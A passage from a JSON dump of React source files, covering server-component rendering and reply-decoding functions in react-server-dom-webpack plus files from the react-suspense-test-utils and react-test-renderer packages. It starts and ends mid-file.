},\n  };\n}\n\nfunction createFakeWritableFromWebSocket(webSocket: WebSocket): Writable {\n  return ({\n    write(chunk: string | Uint8Array) {\n      webSocket.send((chunk: any));\n      return true;\n    },\n    end() {\n      webSocket.close();\n    },\n    destroy(reason) {\n      if (typeof reason === 'object' && reason !== null) {\n        reason = reason.message;\n      }\n      if (typeof reason === 'string') {\n        webSocket.close(1011, reason);\n      } else {\n        webSocket.close(1011);\n      }\n    },\n  }: any);\n}\n\nfunction createFakeWritableFromReadableStreamController(\n  controller: ReadableStreamController,\n): Writable {\n  // The current host config expects a Writable so we create\n  // a fake writable for now to push into the Readable.\n  return ({\n    write(chunk: string | Uint8Array) {\n      if (typeof chunk === 'string') {\n        chunk = textEncoder.encode(chunk);\n      }\n      controller.enqueue(chunk);\n      // in web streams there is no backpressure so we can always write more\n      return true;\n    },\n    end() {\n      controller.close();\n    },\n    destroy(error) {\n      // $FlowFixMe[method-unbinding]\n      if (typeof controller.error === 'function') {\n        // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.\n        controller.error(error);\n      } else {\n        controller.close();\n      }\n    },\n  }: any);\n}\n\nfunction startReadingFromDebugChannelReadableStream(\n  request: Request,\n  stream: ReadableStream,\n): void {\n  const reader = stream.getReader();\n  const stringDecoder = createStringDecoder();\n  let stringBuffer = '';\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: ?any,\n    ...\n  }): void | Promise<void> {\n    const buffer: Uint8Array = (value: any);\n    stringBuffer += done\n      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))\n      : readPartialStringChunk(stringDecoder, buffer);\n    const messages = stringBuffer.split('\\n');\n    for (let i = 0; i < messages.length - 1; i++) {\n      resolveDebugMessage(request, messages[i]);\n    }\n    stringBuffer = messages[messages.length - 1];\n    if (done) {\n      closeDebugChannel(request);\n      return;\n    }\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    abort(\n      request,\n      new Error('Lost connection to the Debug Channel.', {\n        cause: e,\n      }),\n    );\n  }\n  reader.read().then(progress).catch(error);\n}\n\nfunction renderToReadableStream(\n  model: ReactClientValue,\n  webpackMap: ClientManifest,\n  options?: Omit<Options, 'debugChannel'> & {\n    debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},\n    signal?: AbortSignal,\n  },\n): ReadableStream {\n  const debugChannelReadable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.readable\n      : undefined;\n  const debugChannelWritable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.writable\n      : undefined;\n  const request = createRequest(\n    model,\n    webpackMap,\n    options ? options.onError : undefined,\n    options ? options.identifierPrefix : undefined,\n    options ? options.temporaryReferences : undefined,\n    options ? options.startTime : undefined,\n    __DEV__ && options ? options.environmentName : undefined,\n    __DEV__ && options ? options.filterStackFrame : undefined,\n    debugChannelReadable !== undefined,\n  );\n  if (options && options.signal) {\n    const signal = options.signal;\n    if (signal.aborted) {\n      abort(request, (signal: any).reason);\n    } else {\n      const listener = () => {\n        abort(request, (signal: any).reason);\n        signal.removeEventListener('abort', listener);\n      };\n      signal.addEventListener('abort', listener);\n    }\n  }\n  if (debugChannelWritable !== undefined) {\n    let debugWritable: Writable;\n    const debugStream = new ReadableStream(\n      {\n        type: 'bytes',\n        start: (controller): ?Promise<void> => {\n          debugWritable =\n            createFakeWritableFromReadableStreamController(controller);\n        },\n        pull: (controller): ?Promise<void> => {\n          startFlowingDebug(request, debugWritable);\n        },\n      },\n      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n      {highWaterMark: 0},\n    );\n    debugStream.pipeTo(debugChannelWritable);\n  }\n  if (debugChannelReadable !== undefined) {\n    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);\n  }\n  let writable: Writable;\n  const stream = new ReadableStream(\n    {\n      type: 'bytes',\n      start: (controller): ?Promise<void> => {\n        writable = createFakeWritableFromReadableStreamController(controller);\n        startWork(request);\n      },\n      pull: (controller): ?Promise<void> => {\n        startFlowing(request, writable);\n      },\n      cancel: (reason): ?Promise<void> => {\n        stopFlowing(request);\n        abort(request, reason);\n      },\n    },\n    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n    {highWaterMark: 0},\n  );\n  return stream;\n}\n\nfunction createFakeWritableFromNodeReadable(readable: any): Writable {\n  // The current host config expects a Writable so we create\n  // a fake writable for now to push into the Readable.\n  return ({\n    write(chunk: string | Uint8Array) {\n      return readable.push(chunk);\n    },\n    end() {\n      readable.push(null);\n    },\n    destroy(error) {\n      readable.destroy(error);\n    },\n  }: any);\n}\n\ntype PrerenderOptions = {\n  environmentName?: string | (() => string),\n  filterStackFrame?: (url: string, functionName: string) => boolean,\n  onError?: (error: mixed) => void,\n  identifierPrefix?: string,\n  temporaryReferences?: TemporaryReferenceSet,\n  signal?: AbortSignal,\n  startTime?: number,\n};\n\ntype StaticResult = {\n  prelude: Readable,\n};\n\nfunction prerenderToNodeStream(\n  model: ReactClientValue,\n  webpackMap: ClientManifest,\n  options?: PrerenderOptions,\n): Promise<StaticResult> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n    function onAllReady() {\n      const readable: Readable = new Readable({\n        read() {\n          startFlowing(request, writable);\n        },\n      });\n      const writable = createFakeWritableFromNodeReadable(readable);\n      resolve({prelude: readable});\n    }\n\n    const request = createPrerenderRequest(\n      model,\n      webpackMap,\n      onAllReady,\n      onFatalError,\n      options ? options.onError : undefined,\n      options ? options.identifierPrefix : undefined,\n      options ? options.temporaryReferences : undefined,\n      options ? options.startTime : undefined,\n      __DEV__ && options ? options.environmentName : undefined,\n      __DEV__ && options ? options.filterStackFrame : undefined,\n      false,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        const reason = (signal: any).reason;\n        abort(request, reason);\n      } else {\n        const listener = () => {\n          const reason = (signal: any).reason;\n          abort(request, reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nfunction prerender(\n  model: ReactClientValue,\n  webpackMap: ClientManifest,\n  options?: Options & {\n    signal?: AbortSignal,\n  },\n): Promise<{\n  prelude: ReadableStream,\n}> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n    function onAllReady() {\n      let writable: Writable;\n      const stream = new ReadableStream(\n        {\n          type: 'bytes',\n          start: (controller): ?Promise<void> => {\n            writable =\n              createFakeWritableFromReadableStreamController(controller);\n          },\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, writable);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      );\n      resolve({prelude: stream});\n    }\n    const request = createPrerenderRequest(\n      model,\n      webpackMap,\n      onAllReady,\n      onFatalError,\n      options ? options.onError : undefined,\n      options ? options.identifierPrefix : undefined,\n      options ? options.temporaryReferences : undefined,\n      options ? options.startTime : undefined,\n      __DEV__ && options ? options.environmentName : undefined,\n      __DEV__ && options ? options.filterStackFrame : undefined,\n      false,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        const reason = (signal: any).reason;\n        abort(request, reason);\n      } else {\n        const listener = () => {\n          const reason = (signal: any).reason;\n          abort(request, reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nfunction decodeReplyFromBusboy<T>(\n  busboyStream: Busboy,\n  webpackMap: ServerManifest,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  const response = createResponse(\n    webpackMap,\n    '',\n    options ? options.temporaryReferences : undefined,\n    undefined,\n    options ? options.arraySizeLimit : undefined,\n  );\n  let pendingFiles = 0;\n  const queuedFields: Array<string> = [];\n  busboyStream.on('field', (name, value) => {\n    if (pendingFiles > 0) {\n      // Because the 'end' event fires two microtasks after the next 'field'\n      // we would resolve files and fields out of order. To handle this properly\n      // we queue any fields we receive until the previous file is done.\n      queuedFields.push(name, value);\n    } else {\n      try {\n        resolveField(response, name, value);\n      } catch (error) {\n        busboyStream.destroy(error);\n      }\n    }\n  });\n  busboyStream.on('file', (name, value, {filename, encoding, mimeType}) => {\n    if (encoding.toLowerCase() === 'base64') {\n      busboyStream.destroy(\n        new Error(\n          \"React doesn't accept base64 encoded file uploads because we don't expect \" +\n            \"form data passed from a browser to ever encode data that way. If that's \" +\n            'the wrong assumption, we can easily fix it.',\n        ),\n      );\n      return;\n    }\n    pendingFiles++;\n    const file = resolveFileInfo(response, name, filename, mimeType);\n    value.on('data', chunk => {\n      resolveFileChunk(response, file, chunk);\n    });\n    value.on('end', () => {\n      try {\n        resolveFileComplete(response, name, file);\n        pendingFiles--;\n        if (pendingFiles === 0) {\n          // Release any queued fields\n          for (let i = 0; i < queuedFields.length; i += 2) {\n            resolveField(response, queuedFields[i], queuedFields[i + 1]);\n          }\n          queuedFields.length = 0;\n        }\n      } catch (error) {\n        busboyStream.destroy(error);\n      }\n    });\n  });\n  busboyStream.on('finish', () => {\n    close(response);\n  });\n  busboyStream.on('error', err => {\n    reportGlobalError(\n      response,\n      // $FlowFixMe[incompatible-call] types Error and mixed are incompatible\n      err,\n    );\n  });\n  return getRoot(response);\n}\n\nfunction decodeReply<T>(\n  body: string | FormData,\n  webpackMap: ServerManifest,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  if (typeof body === 'string') {\n    const form = new FormData();\n    form.append('0', body);\n    body = form;\n  }\n  const response = createResponse(\n    webpackMap,\n    '',\n    options ? options.temporaryReferences : undefined,\n    body,\n    options ? options.arraySizeLimit : undefined,\n  );\n  const root = getRoot<T>(response);\n  close(response);\n  return root;\n}\n\nfunction decodeReplyFromAsyncIterable<T>(\n  iterable: AsyncIterable<[string, string | File]>,\n  webpackMap: ServerManifest,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  const iterator: AsyncIterator<[string, string | File]> =\n    iterable[ASYNC_ITERATOR]();\n\n  const response = createResponse(\n    webpackMap,\n    '',\n    options ? options.temporaryReferences : undefined,\n    undefined,\n    options ? options.arraySizeLimit : undefined,\n  );\n\n  function progress(\n    entry:\n      | {done: false, +value: [string, string | File], ...}\n      | {done: true, +value: void, ...},\n  ) {\n    if (entry.done) {\n      close(response);\n    } else {\n      const [name, value] = entry.value;\n      if (typeof value === 'string') {\n        resolveField(response, name, value);\n      } else {\n        resolveFile(response, name, value);\n      }\n      iterator.next().then(progress, error);\n    }\n  }\n  function error(reason: Error) {\n    reportGlobalError(response, reason);\n    if (typeof (iterator: any).throw === 'function') {\n      // The iterator protocol doesn't necessarily include this but a generator do.\n      // $FlowFixMe should be able to pass mixed\n      iterator.throw(reason).then(error, error);\n    }\n  }\n\n  iterator.next().then(progress, error);\n\n  return getRoot(response);\n}\n\nexport {\n  renderToReadableStream,\n  renderToPipeableStream,\n  prerender,\n  prerenderToNodeStream,\n  decodeReply,\n  decodeReplyFromBusboy,\n  decodeReplyFromAsyncIterable,\n  decodeAction,\n  decodeFormState,\n};\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/server/ReactFlightServerConfigWebpackBundler.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactClientValue} from 'react-server/src/ReactFlightServer';\nimport type {\n  ImportMetadata,\n  ImportManifestEntry,\n} from '../shared/ReactFlightImportMetadata';\n\nimport type {\n  ClientReference,\n  ServerReference,\n} from '../ReactFlightWebpackReferences';\n\nexport type {ClientReference, ServerReference};\n\nexport type ClientManifest = {\n  [id: string]: ClientReferenceManifestEntry,\n};\n\nexport type ServerReferenceId = string;\n\nexport type ClientReferenceMetadata = ImportMetadata;\nexport opaque type ClientReferenceManifestEntry = ImportManifestEntry;\n\nexport type ClientReferenceKey = string;\n\nexport {\n  isClientReference,\n  isServerReference,\n} from '../ReactFlightWebpackReferences';\n\nexport function getClientReferenceKey(\n  reference: ClientReference<any>,\n): ClientReferenceKey {\n  return reference.$$async ? reference.$$id + '#async' : reference.$$id;\n}\n\nexport function resolveClientReferenceMetadata<T>(\n  config: ClientManifest,\n  clientReference: ClientReference<T>,\n): ClientReferenceMetadata {\n  const modulePath = clientReference.$$id;\n  let name = '';\n  let resolvedModuleData = config[modulePath];\n  if (resolvedModuleData) {\n    // The potentially aliased name.\n    name = resolvedModuleData.name;\n  } else {\n    // We didn't find this specific export name but we might have the * export\n    // which contains this name as well.\n    // TODO: It's unfortunate that we now have to parse this string. We should\n    // probably go back to encoding path and name separately on the client reference.\n    const idx = modulePath.lastIndexOf('#');\n    if (idx !== -1) {\n      name = modulePath.slice(idx + 1);\n      resolvedModuleData = config[modulePath.slice(0, idx)];\n    }\n    if (!resolvedModuleData) {\n      throw new Error(\n        'Could not find the module \"' +\n          modulePath +\n          '\" in the React Client Manifest. ' +\n          'This is probably a bug in the React Server Components bundler.',\n      );\n    }\n  }\n  if (resolvedModuleData.async === true && clientReference.$$async === true) {\n    throw new Error(\n      'The module \"' +\n        modulePath +\n        '\" is marked as an async ESM module but was loaded as a CJS proxy. ' +\n        'This is probably a bug in the React Server Components bundler.',\n    );\n  }\n  if (resolvedModuleData.async === true || clientReference.$$async === true) {\n    return [resolvedModuleData.id, resolvedModuleData.chunks, name, 1];\n  } else {\n    return [resolvedModuleData.id, resolvedModuleData.chunks, name];\n  }\n}\n\nexport function getServerReferenceId<T>(\n  config: ClientManifest,\n  serverReference: ServerReference<T>,\n): ServerReferenceId {\n  return serverReference.$$id;\n}\n\nexport function getServerReferenceBoundArguments<T>(\n  config: ClientManifest,\n  serverReference: ServerReference<T>,\n): null | Array<ReactClientValue> {\n  return serverReference.$$bound;\n}\n\nexport function getServerReferenceLocation<T>(\n  config: ClientManifest,\n  serverReference: ServerReference<T>,\n): void | Error {\n  return serverReference.$$location;\n}\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/server/react-flight-dom-server.browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToReadableStream,\n  prerender,\n  decodeReply,\n  decodeAction,\n  decodeFormState,\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n  createTemporaryReferenceSet,\n} from './ReactFlightDOMServerBrowser';\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/server/react-flight-dom-server.edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToReadableStream,\n  prerender,\n  decodeReply,\n  decodeReplyFromAsyncIterable,\n  decodeAction,\n  decodeFormState,\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n  createTemporaryReferenceSet,\n} from './ReactFlightDOMServerEdge';\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/server/react-flight-dom-server.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToReadableStream,\n  renderToPipeableStream,\n  prerender,\n  prerenderToNodeStream,\n  decodeReply,\n  decodeReplyFromBusboy,\n  decodeReplyFromAsyncIterable,\n  decodeAction,\n  decodeFormState,\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n  createTemporaryReferenceSet,\n} from './ReactFlightDOMServerNode';\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/shared/ReactFlightImportMetadata.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type ImportManifestEntry = {\n  id: string,\n  // chunks is a double indexed array of chunkId / chunkFilename pairs\n  chunks: Array<string>,\n  name: string,\n  async?: boolean,\n};\n\n// This is the parsed shape of the wire format which is why it is\n// condensed to only the essentialy information\nexport type ImportMetadata =\n  | [\n      /* id */ string,\n      /* chunks id/filename pairs, double indexed */ Array<string>,\n      /* name */ string,\n      /* async */ 1,\n    ]\n  | [\n      /* id */ string,\n      /* chunks id/filename pairs, double indexed */ Array<string>,\n      /* name */ string,\n    ];\n\nexport const ID = 0;\nexport const CHUNKS = 1;\nexport const NAME = 2;\n// export const ASYNC = 3;\n\n// This logic is correct because currently only include the 4th tuple member\n// when the module is async. If that changes we will need to actually assert\n// the value is true. We don't index into the 4th slot because flow does not\n// like the potential out of bounds access\nexport function isAsyncImport(metadata: ImportMetadata): boolean {\n  return metadata.length === 4;\n}\n"
  },
  {
    "path": "packages/react-server-dom-webpack/static.browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {prerender} from './src/server/react-flight-dom-server.browser';\n"
  },
  {
    "path": "packages/react-server-dom-webpack/static.edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {prerender} from './src/server/react-flight-dom-server.edge';\n"
  },
  {
    "path": "packages/react-server-dom-webpack/static.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nthrow new Error(\n  'The React Server cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.',\n);\n"
  },
  {
    "path": "packages/react-server-dom-webpack/static.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  prerender,\n  prerenderToNodeStream,\n} from './src/server/react-flight-dom-server.node';\n"
  },
  {
    "path": "packages/react-suspense-test-utils/README.md",
    "content": "# react-suspense-test-utils\n\nThis package is meant to be used alongside yet-to-be-released, experimental React features. It's unlikely to be useful in any other context.\n\n**Do not use in a real application.** We're publishing this early for\ndemonstration purposes.\n\n**Use it at your own risk.**\n\n# No, Really, It Is Unstable\n\nThe API ~~may~~ will change wildly between versions.\n"
  },
  {
    "path": "packages/react-suspense-test-utils/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/ReactSuspenseTestUtils';\n"
  },
  {
    "path": "packages/react-suspense-test-utils/npm/index.js",
    "content": "'use strict';\n\nmodule.exports = require('./cjs/react-suspense-test-utils.js');\n"
  },
  {
    "path": "packages/react-suspense-test-utils/package.json",
    "content": "{\n  \"name\": \"react-suspense-test-utils\",\n  \"version\": \"0.1.0\",\n  \"private\": true,\n  \"repository\": {\n    \"type\" : \"git\",\n    \"url\" : \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-suspense-test-utils\"\n  },\n  \"license\": \"MIT\",\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"index.js\",\n    \"cjs/\"\n  ],\n  \"peerDependencies\": {\n    \"react\": \"^17.0.0\"\n  }\n}\n"
  },
  {
    "path": "packages/react-suspense-test-utils/src/ReactSuspenseTestUtils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {AsyncDispatcher} from 'react-reconciler/src/ReactInternalTypes';\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\n\nexport function waitForSuspense<T>(fn: () => T): Promise<T> {\n  const cache: Map<Function, mixed> = new Map();\n  const testDispatcher: AsyncDispatcher = {\n    getCacheForType<R>(resourceType: () => R): R {\n      let entry: R | void = (cache.get(resourceType): any);\n      if (entry === undefined) {\n        entry = resourceType();\n        // TODO: Warn if undefined?\n        cache.set(resourceType, entry);\n      }\n      return entry;\n    },\n    cacheSignal(): null {\n      return null;\n    },\n    getOwner(): null {\n      return null;\n    },\n  };\n  // Not using async/await because we don't compile it.\n  return new Promise((resolve, reject) => {\n    function retry() {\n      const prevDispatcher = ReactSharedInternals.A;\n      ReactSharedInternals.A = testDispatcher;\n      try {\n        const result = fn();\n        resolve(result);\n      } catch (thrownValue) {\n        if (typeof thrownValue.then === 'function') {\n          thrownValue.then(retry, retry);\n        } else {\n          reject(thrownValue);\n        }\n      } finally {\n        ReactSharedInternals.A = prevDispatcher;\n      }\n    }\n    retry();\n  });\n}\n"
  },
  {
    "path": "packages/react-test-renderer/README.md",
    "content": "# `react-test-renderer` (DEPRECATED)\n\n## Deprecation notice\n\n`react-test-renderer` is deprecated and no longer maintained. It will be removed in a future version. As of React 19, you will see a console warning when invoking `ReactTestRenderer.create()`.\n\n### React Testing\n\nThis library creates a contrived environment and its APIs encourage introspection on React's internals, which may change without notice causing broken tests. It is instead recommended to use browser-based environments such as jsdom and standard DOM APIs for your assertions.\n\nThe React team recommends [`@testing-library/react`](https://testing-library.com/docs/react-testing-library/intro) as a modern alternative that uses standard APIs, avoids internals, and [promotes best practices](https://testing-library.com/docs/guiding-principles).\n\n### React Native Testing\n\nThe React team recommends @testing-library/react-native as a replacement for `react-test-renderer` for native integration tests. This React Native testing-library variant follows the same API design as described above and promotes better testing patterns.\n\n## Documentation\n\nThis package provides an experimental React renderer that can be used to render React components to pure JavaScript objects, without depending on the DOM or a native mobile environment.\n\nEssentially, this package makes it easy to grab a snapshot of the \"DOM tree\" rendered by a React DOM or React Native component without using a browser or jsdom.\n\nDocumentation: [https://reactjs.org/docs/test-renderer.html](https://reactjs.org/docs/test-renderer.html)\n\nUsage:\n\n```jsx\nconst ReactTestRenderer = require('react-test-renderer');\n\nconst renderer = ReactTestRenderer.create(\n  <Link page=\"https://www.facebook.com/\">Facebook</Link>\n);\n\nconsole.log(renderer.toJSON());\n// { type: 'a',\n//   props: { href: 'https://www.facebook.com/' },\n//   children: [ 'Facebook' ] }\n```\n\nYou can also use Jest's snapshot testing feature to automatically save a copy of the JSON tree to a file and check in your tests that it hasn't changed: https://jestjs.io/blog/2016/07/27/jest-14.html.\n"
  },
  {
    "path": "packages/react-test-renderer/__tests__/shallow-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('shallow', () => {\n  it('throws an error on init', () => {\n    const ReactShallowRenderer = require('../shallow.js').default;\n    expect(() => {\n      // eslint-disable-next-line no-new\n      new ReactShallowRenderer();\n    }).toThrow(\n      'react-test-renderer/shallow has been removed. See https://react.dev/warnings/react-test-renderer.'\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-test-renderer/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/ReactTestRenderer';\n"
  },
  {
    "path": "packages/react-test-renderer/npm/index.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-test-renderer.production.js');\n} else {\n  module.exports = require('./cjs/react-test-renderer.development.js');\n}\n"
  },
  {
    "path": "packages/react-test-renderer/npm/shallow.js",
    "content": "'use strict';\n\nfunction ReactShallowRenderer() {\n  throw new Error(\n    'react-test-renderer/shallow has been removed. See https://react.dev/warnings/react-test-renderer.'\n  );\n}\n\nmodule.exports = ReactShallowRenderer;\n"
  },
  {
    "path": "packages/react-test-renderer/package.json",
    "content": "{\n  \"name\": \"react-test-renderer\",\n  \"version\": \"19.3.0\",\n  \"description\": \"React package for snapshot testing.\",\n  \"main\": \"index.js\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-test-renderer\"\n  },\n  \"keywords\": [\n    \"react\",\n    \"react-native\",\n    \"react-testing\"\n  ],\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/facebook/react/issues\"\n  },\n  \"homepage\": \"https://react.dev/\",\n  \"dependencies\": {\n    \"react-is\": \"^19.3.0\",\n    \"scheduler\": \"^0.28.0\"\n  },\n  \"peerDependencies\": {\n    \"react\": \"^19.3.0\"\n  },\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"index.js\",\n    \"shallow.js\",\n    \"cjs/\"\n  ]\n}\n"
  },
  {
    "path": "packages/react-test-renderer/shallow.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport ReactShallowRenderer from './npm/shallow.js';\nexport default ReactShallowRenderer;\n"
  },
  {
    "path": "packages/react-test-renderer/src/ReactFiberConfigTestHost.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext} from 'shared/ReactTypes';\nimport type {TransitionTypes} from 'react/src/ReactTransitionType';\n\nimport isArray from 'shared/isArray';\nimport {REACT_CONTEXT_TYPE} from 'shared/ReactSymbols';\nimport {\n  DefaultEventPriority,\n  NoEventPriority,\n  type EventPriority,\n} from 'react-reconciler/src/ReactEventPriorities';\nimport {enableProfilerTimer} from 'shared/ReactFeatureFlags';\n\nexport {default as rendererVersion} from 'shared/ReactVersion'; // TODO: Consider exporting the react-native version.\nexport const rendererPackageName = 'react-test-renderer';\nexport const extraDevToolsConfig = null;\n\nexport type Type = string;\nexport type Props = Object;\nexport type Container = {\n  children: Array<Instance | TextInstance>,\n  createNodeMock: Function,\n  tag: 'CONTAINER',\n};\nexport type Instance = {\n  type: string,\n  props: Object,\n  isHidden: boolean,\n  children: Array<Instance | TextInstance>,\n  internalInstanceHandle: Object,\n  rootContainerInstance: Container,\n  tag: 'INSTANCE',\n};\nexport type TextInstance = {\n  text: string,\n  isHidden: boolean,\n  tag: 'TEXT',\n};\nexport type HydratableInstance = Instance | TextInstance;\nexport type PublicInstance = Instance | TextInstance;\nexport type HostContext = Object;\nexport type UpdatePayload = Object;\nexport type ChildSet = void; // Unused\nexport type TimeoutHandle = TimeoutID;\nexport type NoTimeout = -1;\nexport type EventResponder = any;\n\nexport type RendererInspectionConfig = $ReadOnly<{}>;\nexport type TransitionStatus = mixed;\n\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoPersistence';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoHydration';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoTestSelectors';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoMicrotasks';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoResources';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoSingletons';\n\nconst NO_CONTEXT = {};\nconst nodeToInstanceMap = new WeakMap<any, Instance>();\n\nif (__DEV__) {\n  Object.freeze(NO_CONTEXT);\n}\n\nexport function getPublicInstance(inst: Instance | TextInstance): $FlowFixMe {\n  switch (inst.tag) {\n    case 'INSTANCE':\n      const createNodeMock = inst.rootContainerInstance.createNodeMock;\n      const mockNode = createNodeMock({\n        type: inst.type,\n        props: inst.props,\n      });\n      if (typeof mockNode === 'object' && mockNode !== null) {\n        nodeToInstanceMap.set(mockNode, inst);\n      }\n      return mockNode;\n    default:\n      return inst;\n  }\n}\n\nexport function appendChild(\n  parentInstance: Instance | Container,\n  child: Instance | TextInstance,\n): void {\n  if (__DEV__) {\n    if (!isArray(parentInstance.children)) {\n      console.error(\n        'An invalid container has been provided. ' +\n          'This may indicate that another renderer is being used in addition to the test renderer. ' +\n          '(For example, ReactDOM.createPortal inside of a ReactTestRenderer tree.) ' +\n          'This is not supported.',\n      );\n    }\n  }\n  const index = parentInstance.children.indexOf(child);\n  if (index !== -1) {\n    parentInstance.children.splice(index, 1);\n  }\n  parentInstance.children.push(child);\n}\n\nexport function insertBefore(\n  parentInstance: Instance | Container,\n  child: Instance | TextInstance,\n  beforeChild: Instance | TextInstance,\n): void {\n  const index = parentInstance.children.indexOf(child);\n  if (index !== -1) {\n    parentInstance.children.splice(index, 1);\n  }\n  const beforeIndex = parentInstance.children.indexOf(beforeChild);\n  parentInstance.children.splice(beforeIndex, 0, child);\n}\n\nexport function removeChild(\n  parentInstance: Instance | Container,\n  child: Instance | TextInstance,\n): void {\n  const index = parentInstance.children.indexOf(child);\n  parentInstance.children.splice(index, 1);\n}\n\nexport function clearContainer(container: Container): void {\n  container.children.splice(0);\n}\n\nexport function getRootHostContext(\n  rootContainerInstance: Container,\n): HostContext {\n  return NO_CONTEXT;\n}\n\nexport function getChildHostContext(\n  parentHostContext: HostContext,\n  type: string,\n): HostContext {\n  return NO_CONTEXT;\n}\n\nexport function prepareForCommit(containerInfo: Container): null | Object {\n  // noop\n  return null;\n}\n\nexport function resetAfterCommit(containerInfo: Container): void {\n  // noop\n}\n\nexport 